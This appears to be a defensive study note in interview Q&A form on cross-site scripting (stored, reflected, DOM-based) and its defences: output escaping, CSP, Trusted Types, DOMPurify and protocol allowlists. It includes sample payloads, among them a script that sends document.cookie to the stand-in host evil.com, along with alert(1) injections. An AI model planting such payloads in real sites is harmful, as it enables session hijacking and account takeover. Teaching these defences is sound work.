XSS — Stored, Reflected, DOM-Based
TL;DR
XSS (Cross-Site Scripting) = attacker-controlled JavaScript runs in your origin’s context. Three flavors: stored (saved to DB, served to other users), reflected (echoed back from URL/form params), DOM-based (introduced by JS DOM manipulation). All have the same effect: the attacker’s code runs as if it were yours — reads cookies (unless httpOnly), session storage, tokens; submits forms with the user’s session; impersonates the user. The senior defense in depth: escape on output, CSP as backup, httpOnly cookies for auth, textContent not innerHTML by default, DOMPurify when sanitization is mandatory.
Interview Q&A
Q: The three XSS types — examples.
A:
Stored: attacker submits <script>steal()</script> as a comment; your app saves it; other users load the page; their browsers execute it.
<!-- Server returns -->
<div class="comment">
Great post! <script>fetch("//evil.com?c=" + document.cookie)</script>
</div>
Worst form — affects every user who views the page. Persistent.
Reflected: URL param echoed back unescaped.
https://yoursite.com/search?q=<script>alert(1)</script>
<!-- Server returns -->
<h1>Results for: <script>alert(1)</script></h1>
Attacker shares the link; victim clicks; their browser runs the script. Phishing vector.
DOM-based: no server involvement. Client-side JS reads user input and inserts unsafely.
// Bad — directly writes location.hash into HTML
document.getElementById("output").innerHTML = "Hash: " + location.hash;
// Attacker URL
https://yoursite.com/#<img src=x onerror=alert(1)>
The server is innocent; the bug is purely client-side. Often hardest to find — doesn’t show in server logs.
Q: What can XSS actually do?
A: Anything your JS can do — which is everything in your origin:
- Read cookies (unless
httpOnly) — session hijacking. - Read localStorage/sessionStorage — auth tokens, sensitive data.
- Make API calls as the user — change settings, transfer funds, post messages.
- Read DOM — screenshot the page contents.
- Install a keylogger — capture keystrokes.
- Phish — replace the login form with a fake one that submits to attacker.
- Pivot — load more attacker code, escalate.
XSS is complete account takeover. Treat as P0.
Q: Output encoding — the primary defense.
A: Escape (encode) data based on where it lands:
| Context | Escape using |
|---|---|
| HTML body | escape < > & " ' to entities (or just use textContent) |
HTML attribute (<a href="...">) |
escape + quote properly |
<script> body |
JSON.stringify (and consider just avoiding) |
CSS (style=, <style>) |
tighter encoding; mostly avoid embedding user data |
URL (href="...") |
URL-encode + protocol allowlist |
Modern frameworks auto-escape by default:
// React — auto-escapes
function Comment({ text }: { text: string }) {
return <div>{text}</div>; // safe — text is escaped
}
<!-- Vue — auto-escapes -->
<div>{{ text }}</div> <!-- safe -->
The dangerous escape hatches are where XSS sneaks in:
// React
<div dangerouslySetInnerHTML={{ __html: userText }} /> // XSS risk
// Vue
<div v-html="userText"></div> // XSS risk
// Plain JS
el.innerHTML = userText; // XSS risk
Default to {text} / {{text}} / textContent. Reach for innerHTML/dangerouslySetInnerHTML only when you must render trusted HTML, and sanitize first.
Q: When must you render HTML — how to sanitize?
A: DOMPurify — trusted HTML sanitizer. Removes scripts, dangerous attributes, event handlers.
import DOMPurify from "dompurify";
const safe = DOMPurify.sanitize(userHtml);
// safe is HTML with no <script>, no onerror=, no javascript:, etc.
// React
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />
Use cases: rich-text comments, markdown rendered to HTML, WYSIWYG editor output. Never write your own sanitizer.
DOMPurify is well-maintained, used by Google, mature. The standard answer.
Q: URL-based XSS — href="javascript:...".
A: <a href="..."> with a javascript: URL runs code on click:
// Bad — user can supply a javascript: URL
const url = userProvidedUrl;
<a href={url}>Link</a> // <a href="javascript:steal()">Link</a> if user controls it
// Good — allowlist protocols
const safe = /^https?:\/\//.test(url) || url.startsWith("/") ? url : "#";
<a href={safe}>Link</a>
React does warn on javascript: URLs (logs to console) but doesn’t block. Add explicit protocol checking.
Q: DOM-based XSS — the harder one.
A: Pure client-side. Comes from:
location.hash,location.search,document.referrer→ inserted into DOM unsanitized.postMessagedata → inserted unsanitized.window.name(cross-site) → read and used.- WebSocket messages → inserted.
Treat any data from outside your code as untrusted. Escape on the way into the DOM (or use textContent).
// Bad
el.innerHTML = location.hash.slice(1);
// Good
el.textContent = location.hash.slice(1);
Q: How does CSP help?
A: Content Security Policy is the browser-enforced “what can run here?” allowlist. Even if XSS injects <script>, the browser refuses to execute it if it’s not from an allowed source.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
Effect: any <script> without nonce="abc123" won’t run. Inline event handlers (<button onclick=...>) won’t run. eval is blocked.
CSP is your second line of defense — even if you slip on output encoding, CSP blocks the script. See 03_csp.md.
Q: Trusted Types — the newer browser feature.
A: Trusted Types (Chrome/Edge 83+) require dangerous DOM sinks (innerHTML, script.src, etc.) to receive a “trusted” type, not a raw string. Forces explicit sanitization at the sink.
Content-Security-Policy: require-trusted-types-for 'script'
// Without Trusted Types: this works (XSS risk)
el.innerHTML = userHtml;
// With Trusted Types enforced: throws TypeError unless wrapped
const policy = trustedTypes.createPolicy("sanitize", {
createHTML: (input) => DOMPurify.sanitize(input),
});
el.innerHTML = policy.createHTML(userHtml); // ok
Browser support: Chrome/Edge solid; Safari/Firefox have polyfills. Not universal yet; pair with CSP + escape-by-default.
Q: React-specific XSS gotchas.
A:
dangerouslySetInnerHTML— the obvious. Sanitize.hreffrom user input —javascript:URL. Allowlist protocols.<a ref={...}>interpolation — if you build an HTML string andsetHTMLit, XSS. Use JSX.- Server-side
renderToStringof user content — auto-escaped by React; safe. - JSON in
<script>tags for hydration — escape</script>in the JSON string. React handles for__NEXT_DATA__; hand-rolled SSR may not.
Q: Vue-specific XSS gotchas.
A:
v-html— same asdangerouslySetInnerHTML. Sanitize.v-bind:hrefwithjavascript:— allowlist protocols.v-bind="$attrs"— passing arbitrary attributes from parent; if those include event handlers from user input, XSS.
Q: Auto-escaping isn’t enough — when?
A:
- You’re building HTML strings manually (template engines, hand-rolled). Don’t.
- You’re passing through
innerHTML— sanitize. - Generating CSS from input — different escaping rules; safer to disallow.
- Building URL params — use
URLSearchParams, not concatenation. - Embedding JSON in HTML for hydration — escape
</script>and<!--.
Gotchas / edge cases
SVGfiles can contain<script>tags —<img src="evil.svg">doesn’t execute it, but<object>or inline<svg>can. Don’t allow user-uploaded SVG without sanitization.- Markdown that allows raw HTML is an XSS vector — disable raw HTML or sanitize the output with DOMPurify.
window.openerleak —<a target="_blank">withoutrel="noopener"lets the opened page modifywindow.opener.location— phishing redirect. Always addrel="noopener noreferrer".postMessagewithout origin check — receiving messages from any origin can be XSS. Validateevent.originagainst an allowlist.document.writeis a magnet for XSS. Don’t use; ever.- Service Worker scope — a XSS that registers a SW can persist across page loads.
- CSP
unsafe-inline'andunsafe-eval'make CSP useless. Avoid; use nonces/hashes.
What a senior is expected to say
- “Three XSS types: stored (DB → all users), reflected (URL → victim), DOM-based (client-side from location/postMessage/etc.). All give the attacker full account takeover.”
- “Defense in depth: escape on output (frameworks auto-escape — don’t use
innerHTML/v-html/dangerouslySetInnerHTML), CSP as backup, httpOnly cookies so XSS can’t read tokens.” - “If you must render HTML, DOMPurify. Never write a sanitizer yourself.”
- “
hreffrom user input needs a protocol allowlist (blockjavascript:).” - “Trusted Types (Chrome) require explicit sanitization at dangerous DOM sinks — even tighter than CSP.”
- “DOM-based XSS comes from
location.hash,postMessage, etc. Treat any data not in your code as untrusted; usetextContentby default.” - “User-uploaded SVG needs sanitization;
<a target=\"_blank\">needsrel=\"noopener noreferrer\".”
Cross-references
- CSP details: 03_csp.md
- Token storage (XSS-resistant cookies): 06_token_storage.md
- Backend XSS (server-side rendering of escaped output): ../../backend/25_security/03_xss_csrf.md
Further reading
- OWASP XSS Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- DOMPurify: https://github.com/cure53/DOMPurify
- Trusted Types: https://web.dev/articles/trusted-types
- React docs — Security: https://legacy.reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml